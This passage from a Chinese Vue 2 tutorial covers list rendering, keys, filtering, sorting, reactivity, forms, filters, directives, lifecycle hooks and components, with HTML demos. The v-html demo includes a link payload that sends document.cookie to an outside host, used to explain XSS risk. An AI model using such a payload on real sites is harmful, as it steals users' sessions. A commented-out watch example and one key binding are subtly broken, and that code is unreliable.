				<li v-for="(p,index) of persons" :key="index">
					{{p.name}}-{{p.age}}
				</li>
			</ul>

			<!-- 遍历对象 -->
			<h2>汽车信息(遍历对象)</h2>
			<ul>
				<li v-for="(value,k) of car" :key="k">
					{{k}}-{{value}}
				</li>
			</ul>

			<!-- 遍历字符串 -->
			<h2>测试遍历字符串(用得少)</h2>
			<ul>
				<li v-for="(char,index) of str" :key="index">
					{{char}}-{{index}}
				</li>
			</ul>
			
			<!-- 遍历指定次数 -->
			<h2>测试遍历指定次数(用得少)</h2>
			<ul>
				<li v-for="(number,index) of 5" :key="index">
					{{index}}-{{number}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					],
					car:{
						name:'奥迪A8',
						price:'70万',
						color:'黑色'
					},
					str:'hello'
				}
			})
		</script>
</html>

1.12.2 key 的原理

在这里插入图片描述

在这里插入图片描述

1. 虚拟 DOM 中 key 的作用

key 是虚拟 DOM 对象的标识,当数据发生变化时,Vue 会根据【新数据】生成【新的虚拟 DOM】,
随后 Vue 进行【新虚拟 DOM 】与【旧虚拟 DOM 】的差异比较,比较规则如下:

2. 对比规则

1). 旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key:
①.若虚拟 DOM 中内容没变, 直接使用之前的真实 DOM!
②.若虚拟 DOM 中内容变了, 则生成新的真实 DOM,随后替换掉页面中之前的真实 DOM。

2). 旧虚拟 DOM 中未找到与新虚拟 DOM 相同的 key
创建新的真实 DOM,随后渲染到到页面。

3.  用 index 作为 key 可能会引发的问题

1). 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实 DOM 更新 ==> 界面效果没问题, 但效率低。

2). 如果结构中还包含输入类的 DOM:
会产生错误 DOM 更新 ==> 界面有问题。

4. 开发中如何选择 key?

1). 最好使用每条数据的唯一标识作为 key, 比如 id、手机号、身份证号、学号等唯一值。
2). 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用 index 作为 key 是没有问题的。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>key的原理</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表(遍历数组)</h2>
			<button @click.once="add">添加一个老刘</button>
			<ul>
				<li v-for="(p,index) of persons" :key="index">
					{{p.name}}-{{p.age}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					]
				},
				methods: {
					add(){
						const p = {id:'004',name:'老刘',age:40}
						this.persons.unshift(p)
					}
				},
			})
		</script>
</html>

1.12.3 列表过滤

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>列表过滤</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<input type="text" placeholder="请输入名字" v-model="keyWord">
			<ul>
				<li v-for="(p,index) of filPerons" :key="persons.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			// 用 watch 实现
			//#region 
			/* new Vue({
				el:'#root',
				data:{
					keyWord:'',
					persons:[
						{id:'001',name:'林俊杰',age:18,sex:'男'},
						{id:'002',name:'周冬雨',age:21,sex:'女'},
						{id:'003',name:'周杰伦',age:19,sex:'男'},
						{id:'004',name:'林更新',age:23,sex:'男'}
					],
					filPerons:[]
				},
				
				watch:{
						/* var arr = [1, 6, 9, 3, 7, 5, 10, 2, 12];
		                    var newArr = arr.filter(function (item) {
		                        return item >= 5; // 过滤出来数组中 >=5 的元素
		                    }) */
                    	// 将条件为 true 的每一个元素(返回出来的是条件成立的数组的每一项 item)过滤出来,并且有返回值是一个新数组  条件为 false 的过滤掉 
                    	
                    this.persons = this.persons.filter((p) => {
					keyWord:{
						immediate:true,
						handler(val){
							this.filPerons = this.persons.filter((p)=>{
							// 返回一个布尔值,条件为 true 时,返回新数组。条件为 false,过滤掉
                        	// indexOf(val): 数组中出现 val 的位置, 没有配到就会返回 -1
								return p.name.indexOf(val) !== -1
							})
						}
					}
				}
			}) */
			//#endregion
			
			// 用 computed 实现
			new Vue({
				el:'#root',
				data:{
					keyWord:'',
					persons:[
						{id:'001',name:'林俊杰',age:18,sex:'男'},
						{id:'002',name:'周冬雨',age:21,sex:'女'},
						{id:'003',name:'周杰伦',age:19,sex:'男'},
						{id:'004',name:'林更新',age:23,sex:'男'}
					]
				},
				computed:{
					filPerons(){
						return this.persons.filter((p)=>{
							return p.name.indexOf(this.keyWord) !== -1
						})
					}
				}
			}) 
		</script>
</html>

1.12.4 列表排序

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>列表排序</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<input type="text" placeholder="请输入名字" v-model="keyWord">
			<button @click="sortType = 2">年龄升序</button>
			<button @click="sortType = 1">年龄降序</button>
			<button @click="sortType = 0">原顺序</button>
			<ul>
				<li v-for="(p,index) of filPerons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					keyWord:'',
					sortType:0, // 0原顺序 1降序 2升序
					persons:[
						{id:'001',name:'林俊杰',age:18,sex:'男'},
						{id:'002',name:'周冬雨',age:21,sex:'女'},
						{id:'003',name:'周杰伦',age:19,sex:'男'},
						{id:'004',name:'林更新',age:23,sex:'男'}
					]
				},
				computed:{
					filPerons(){
						const arr = this.persons.filter((p)=>{
							return p.name.indexOf(this.keyWord) !== -1
						})
						
						// a-b  升序   b-a  降序
                        /* var arr = [15, 68, 3, 2, 89];
                        arr.sort((a, b) => a - b);
                        console.log(arr) // [2, 3, 15, 68, 89] 升序

                        var arr = [15, 68, 3, 2, 89];
                        arr.sort((a, b) => b - a);
                        console.log(arr) // [89, 68, 15, 3, 2] 降序 */
                        
						// 判断一下是否需要排序
						if(this.sortType){
							arr.sort((p1,p2)=>{
								return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
							})
						}
						return arr
					}
				}
			}) 

		</script>
</html>

1.12.5 数据监测

Vue 监视数据的原理:

1. vue 会监视 data 中所有层次的数据。

2. 如何监测 对象 中的数据

通过 setter 实现监视,且要在 new Vue 时就传入要监测的数据。

(1). 对象中后追加的属性,Vue 默认不做响应式处理

(2). 如需给后添加的属性做响应式,请使用如下 API:

Vue.set(target,propertyName/index,value) 或
vm.$set(target,propertyName/index,value)

3. 如何监测 数组 中的数据?

通过包裹数组更新元素的方法实现,本质就是做了两件事:

(1). 调用原生对应的方法对数组进行更新。

(2). 重新解析模板,进而更新页面。

4. 在 Vue 修改数组中的某个元素一定要用如下方法:

1). 使用这些 API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

2). Vue.set() 或 vm.$set()

特别注意:Vue.set() 和 vm.$set() 不能给 vm 或 vm 的根数据对象 添加属性!!!

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>总结数据监视</title>
		<style>
			button{
				margin-top: 10px;
			}
		</style>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学生信息</h1>
			<button @click="student.age++">年龄+1岁</button> <br/>
			<button @click="addSex">添加性别属性,默认值:男</button> <br/>
			<button @click="student.sex = '未知' ">修改性别</button> <br/>
			<button @click.once="addFriend">在列表首位添加一个朋友</button> <br/>
			<button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br/>
			<button @click="addHobby">添加一个爱好</button> <br/>
			<button @click="updateHobby">修改第一个爱好为:开车</button> <br/>
			<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
			<h3>姓名:{{student.name}}</h3>
			<h3>年龄:{{student.age}}</h3>
			<h3 v-if="student.sex">性别:{{student.sex}}</h3>
			<h3>爱好:</h3>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h3>朋友们:</h3>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				student:{
					name:'tom',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				},
				addFriend(){
					this.student.friends.unshift({name:'jack',age:70})
				},
				updateFirstFriendName(){
					this.student.friends[0].name = '张三'
				},
				addHobby(){
					this.student.hobby.push('学习')
				},
				updateHobby(){
					// this.student.hobby.splice(0,1,'开车')
					// Vue.set(this.student.hobby,0,'开车')
					this.$set(this.student.hobby,0,'开车')
				},
				removeSmoke(){
					this.student.hobby = this.student.hobby.filter((h)=>{
						return h !== '抽烟'
					})
				}
			}
		})
	</script>
</html>

1.13 收集表单数据

若:<input type="text"/>,则 v-model 收集的是 value 值,用户输入的就是 value 值。

若:<input type="radio"/>,则 v-model 收集的是 value 值,且要给标签配置 value 值。

若:<input type="checkbox"/>
1.没有配置 input 的 value 属性,那么收集的就是 checked(勾选 or 未勾选,是布尔值)
2.配置 input 的 value 属性:
(1)v-model 的初始值是非数组,那么收集的就是 checked(勾选 or 未勾选,是布尔值)
(2)v-model 的初始值是数组,那么收集的的就是 value 组成的数组

备注:v-model 的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>收集表单数据</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<form @submit.prevent="demo">
				账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码:<input type="password" v-model="userInfo.password"> <br/><br/>
				年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
				性别:
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
				爱好:
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属校区
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息:
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
				<button>提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',
					password:'',
					age:18,
					sex:'female',
					hobby:[],
					city:'beijing',
					other:'',
					agree:''
				}
			},
			methods: {
				demo(){
					console.log(JSON.stringify(this.userInfo))
				}
			}
		})
	</script>
</html>

1.14 过滤器

定义

对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

语法
  1. 注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
  2. 使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”

备注

  1. 过滤器也可以接收额外参数、多个过滤器也可以串联
  2. 并没有改变原本的数据, 是产生新的对应的数据
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>过滤器</title>
		<script type="text/javascript" src="../js/vue.js"></script>
		<script type="text/javascript" src="../js/dayjs.min.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>显示格式化后的时间</h2>
			<!-- 计算属性实现 -->
			<h3>现在是:{{fmtTime}}</h3>
			<!-- methods 实现 -->
			<h3>现在是:{{getFmtTime()}}</h3>
			<!-- 过滤器实现 -->
			<h3>现在是:{{time | timeFormater}}</h3>
			<!-- 过滤器实现(传参) -->
			<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
			<h3 :x="msg | mySlice">hello,world!</h3>
		</div>

		<div id="root2">
			<h2>{{msg | mySlice}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})
		
		new Vue({
			el:'#root',
			data:{
				time:1621561377603, // 时间戳
				msg:'hello, world!'
			},
			computed: {
				fmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			methods: {
				getFmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			// 局部过滤器
			filters:{
				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
					// console.log('@',value)
					return dayjs(value).format(str)
				}
			}
		})

		new Vue({
			el:'#root2',
			data:{
				msg:'hello, world!'
			}
		})
	</script>
</html>

1.15 内置指令

  1. v-text : 更新元素的 textContent
  2. v-html : 更新元素的 innerHTML
  3. v-if : 如果为 true, 当前标签才会输出到页面
  4. v-else: 如果为 false, 当前标签才会输出到页面
  5. v-show : 通过控制 display 样式来控制显示/隐藏
  6. v-for : 遍历数组/对象
  7. v-on : 绑定事件监听, 一般简写为@
  8. v-bind : 绑定解析表达式, 可以省略 v-bind
  9. v-model : 双向数据绑定
  10. v-cloak : 防止闪现, 与 css 配合: [v-cloak] { display: none }

1.15.1 v-text_指令

  1. 作用:向其所在的节点中渲染文本内容。
  2. 与插值语法的区别:v-text 会替换掉节点中的内容,{{xx}} 则不会。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'world',
				str:'<h3>hello</h3>'
			}
		})
	</script>
</html>

1.15.2 v-html_指令

  1. 作用:向指定节点中渲染包含 html 结构的内容。

  2. 与插值语法的区别:
    (1).v-html 会替换掉节点中所有的内容,{{xx}} 则不会。
    (2).v-html 可以识别 html 结构。

  3. 严重注意:v-html 有安全性问题!!!!
    (1). 在网站上动态渲染任意 HTML 是非常危险的,容易导致 XSS 攻击。
    (2). 一定要在可信的内容上使用 v-html,永不要用在用户提交的内容上!

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'world',
				str:'<h3>hello</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>
</html>

1.15.3 v-cloak_指令

v-cloak 指令(没有值):

  1. 本质是一个特殊属性,Vue 实例创建完毕并接管容器后,会删掉 v-cloak 属性。
  2. 使用 css 配合 v-cloak 可以解决网速慢时页面展示出 {{xxx}} 的问题。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入 Vue -->
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'world'
			}
		})
	</script>
</html>

1.15.4 v-once_指令

  1. v-once 所在节点在初次动态渲染后,就视为静态内容了。
  2. 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once 指令</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

1.15.5 v-pre_指令

  1. 跳过其所在节点的编译过程。
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre 指令</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

1.16 自定义指令

一、定义语法

(1).局部指令:

new Vue({							new Vue({
directives:{指令名:配置对象}   或   	directives{指令名:回调函数}
}) 									})

(2).全局指令:

Vue.directive(指令名,配置对象)   或   Vue.directive(指令名,回调函数)
二、配置对象中常用的 3 个回调

(1). bind:指令与元素成功绑定时调用。
(2). inserted:指令所在元素被插入页面时调用。
(3). update:指令所在模板结构被重新解析时调用。

三、备注

1). 指令定义时不加 v-,但使用时要加 v-;
2). 指令名如果是多个单词,要使用 kebab-case 命名方式,不要用 camelCase 命名。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				需求1:定义一个 v-big 指令,和 v-text 功能类似,但会把绑定的数值放大10倍。
				需求2:定义一个 v-fbind 指令,和 v-bind 功能类似,但可以让其所绑定的 input 元素默认获取焦点。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的n值是:<span v-text="n"></span> </h2>
			<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
			<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		// 定义全局指令
		/* Vue.directive('fbind',{
			// 指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			// 指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			// 指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */

		new Vue({
			el:'#root',
			data:{
				name:'world',
				n:1
			},
			directives:{
				// big 函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
				/* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
				big(element,binding){
					console.log('big',this) // 注意此处的 this 是window
					// console.log('big')
					element.innerText = binding.value * 10
				},
				fbind:{
					// 指令与元素成功绑定时(一上来)
					bind(element,binding){
						element.value = binding.value
					},
					// 指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					// 指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		})
		
	</script>
</html>

1.17 生命周期

1) 初始化显示

  • beforeCreate()
  • created()
  • beforeMount()
  • mounted()

2) 更新状态: this.xxx = value

  • beforeUpdate()
  • updated()3) 销毁 vue 实例: vm.$destory()
  • beforeDestory()
  • destoryed()

常用的生命周期钩子

  1. mounted: 发送 ajax 请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
  2. beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁 Vue 实例

  1. 销毁后借助 Vue 开发者工具看不到任何信息。
  2. 销毁后自定义事件会失效,但原生 DOM 事件依然有效。
  3. 一般不会在 beforeDestroy 操作数据,因为即便操作数据,也不会再触发更新流程了。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 :style="{opacity}">欢迎学习Vue</h2>
			<button @click="opacity = 1">透明度设置为1</button>
			<button @click="stop">点我停止变换</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		 new Vue({
			el:'#root',
			data:{
				opacity:1
			},
			methods: {
				stop(){
					this.$destroy()
				}
			},
			// Vue 完成模板的解析并把初始的真实 DOM 元素放入页面后(挂载完毕)调用 mounted
			mounted(){
				console.log('mounted',this)
				this.timer = setInterval(() => {
					console.log('setInterval')
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
			beforeDestroy() {
				clearInterval(this.timer)
				console.log('vm 即将驾鹤西游了')
			},
		})

	</script>
</html>

第2章:Vue 组件化编程

2.1 模块与组件、模块化与组件化

2.1.1 模块

  1. 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件
  2. 为什么: js 文件很多很复杂
  3. 作用: 复用 js, 简化 js 的编写, 提高 js 运行效率

2.1.2 组件

  1. 理解: 用来实现局部(特定)功能效果的代码集合(html/css/js/image……)

  2. 为什么: 一个界面的功能很复杂

  3. 作用: 复用编码, 简化项目编码, 提高运行效率

2.1.3 模块化

当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用。

2.1.4 组件化

当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用,。

2.2 非单文件组件

2.2.1 基本使用

Vue 中使用组件的三大步骤:
一、定义组件(创建组件)
二、注册组件
三、使用组件(写组件标签)

一、如何定义一个组件?

使用 Vue.extend(options) 创建,其中 options 和 new Vue(options) 时传入的那个 options 几乎一样,但也有点区别;

区别如下:
(1). el 不要写,为什么? ——— 最终所有的组件都要经过一个 vm 的管理,由 vm 中的 el 决定服务哪个容器。
(2). data 必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。

备注:使用 template 可以配置组件结构。

二、如何注册组件?

1). 局部注册:靠 new Vue 的时候传入 components 选项
2). 全局注册:靠 Vue.component(‘组件名’,组件)

三、编写组件标签:<school></school>
  1. 模板编写没有提示
  2. 没有构建过程, 无法将 ES6 转换成 ES5
  3. 不支持组件的 CSS
  4. 真正开发中几乎不用
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本使用</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<hello></hello>
			<hr>
			<h1>{{msg}}</h1>
			<hr>
			<!-- 第三步:编写组件标签 -->
			<school></school>
			<hr>
			<!-- 第三步:编写组件标签 -->
			<student></student>
		</div>

		<div id="root2">
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		// 第一步:创建school组件
		const school = Vue.extend({
			template:`
				<div class="demo">
					<h2>学校名称:{{schoolName}}</h2>
					<h2>学校地址:{{address}}</h2>
					<button @click="showName">点我提示学校名</button>	
				</div>
			`,
			// el:'#root', // 组件定义时,一定不要写 el 配置项,因为最终所有的组件都要被一个 vm 管理,由 vm 决定服务于哪个容器。
			data(){
				return {
					schoolName:'world',
					address:'www'
				}
			},
			methods: {
				showName(){
					alert(this.schoolName)
				}
			},
		})

		// 第一步:创建 student 组件
		const student = Vue.extend({
			template:`
				<div>
					<h2>学生姓名:{{studentName}}</h2>
					<h2>学生年龄:{{age}}</h2>
				</div>
			`,
			data(){
				return {
					studentName:'张三',
					age:18
				}
			}
		})
		
		// 第一步:创建 hello 组件
		const hello = Vue.extend({
			template:`
				<div>	
					<h2>你好啊!{{name}}</h2>
				</div>
			`,
			data(){
				return {
					name:'Tom'
				}
			}
		})
		
		// 第二步:全局注册组件
		Vue.component('hello',hello)

		// 创建 vm
		new Vue({
			el:'#root',
			data:{
				msg:'你好啊!'
			},
			// 第二步:注册组件(局部注册)
			components:{
				school,
				student
			}
		})

		new Vue({
			el:'#root2',
		})
	</script>
</html>

2.2.2 几个注意点

几个注意点:

1. 关于组件名:

一个单词组成:
第一种写法(首字母小写):school
第二种写法(首字母大写):School

多个单词组成:
第一种写法(kebab-case 命名):my-school
第二种写法(CamelCase 命名):MySchool (需要 Vue 脚手架支持)

备注:
(1). 组件名尽可能回避 HTML 中已有的元素名称,例如:h2、H2 都不行。
(2). 可以使用 name 配置项指定组件在开发者工具中呈现的名字。

2. 关于组件标签:

第一种写法:<school></school>
第二种写法:<school/>

备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。

3. 一个简写方式:
const school = Vue.extend(options) 可简写为:const school = options
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>几个注意点</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>{{msg}}</h1>
			<school></school>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		// 定义组件
		const s = Vue.extend({
			name:'at',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'world',
					address:'北京'
				}
			}
		})

		new Vue({
			el:'#root',
			data:{
				msg:'欢迎学习 Vue!'
			},
			components:{
				school:s
			}
		})
	</script>
</html>

2.2.3 组件的嵌套

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>组件的嵌套</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		// 定义 student 组件
		const student = Vue.extend({
			name:'student',
			template:`
				<div>
					<h2>学生姓名:{{name}}</h2>	
					<h2>学生年龄:{{age}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'world',
					age:18
				}
			}
		})
		
		// 定义 school 组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<student></student>
				</div>
			`,
			data(){
				return {
					name:'world',
					address:'北京'
				}
			},
			// 注册组件(局部)
			components:{
				student
			}
		})

		// 定义 hello 组件
		const hello = Vue.extend({
			template:`<h1>{{msg}}</h1>`,
			data(){
				return {
					msg:'hello world!'
				}
			}
		})
		
		// 定义 app 组件
		const app = Vue.extend({
			template:`
				<div>	
					<hello></hello>
					<school></school>
				</div>
			`,
			components:{
				school,
				hello
			}
		})

		// 创建 vm
		new Vue({
			template:'<app></app>',
			el:'#root',
			// 注册组件(局部)
			components:{app}
		})
	</script>
</html>

2.2.4 VueComponent

  1. school 组件本质是一个名为 VueComponent 的构造函数,且不是程序员定义的,是 Vue.extend 生成的。

  2. 我们只需要写 <school/><school></school>,Vue 解析时会帮我们创建 school 组件的实例对象, 即 Vue 帮我们执行的:new VueComponent(options)

  3. 特别注意:每次调用 Vue.extend,返回的都是一个全新的 VueComponent!!!!

  4. 关于 this 指向:
    (1).组件配置中:data 函数、methods 中的函数、watch 中的函数、computed 中的函数 它们的 this 均是【VueComponent 实例对象】
    (2).new Vue(options)配置中:data 函数、methods 中的函数、watch 中的函数、computed 中的函数 它们的 this 均是【Vue 实例对象】

  5. VueComponent 的实例对象,以后简称 vc(也可称之为:组件实例对象)。
    Vue 的实例对象,以后简称 vm。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>VueComponent</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<school></school>
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		// 定义 school 组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showName">点我提示学校名</button>
				</div>
			`,
			data(){
				return {
					name:'world',
					address:'北京'
				}
			},
			methods: {
				showName(){
					console.log('showName',this)
				}
			},
		})

		const test = Vue.extend({
			template:`<span>hello,world!</span>`
		})

		// 定义 hello 组件
		const hello = Vue.extend({
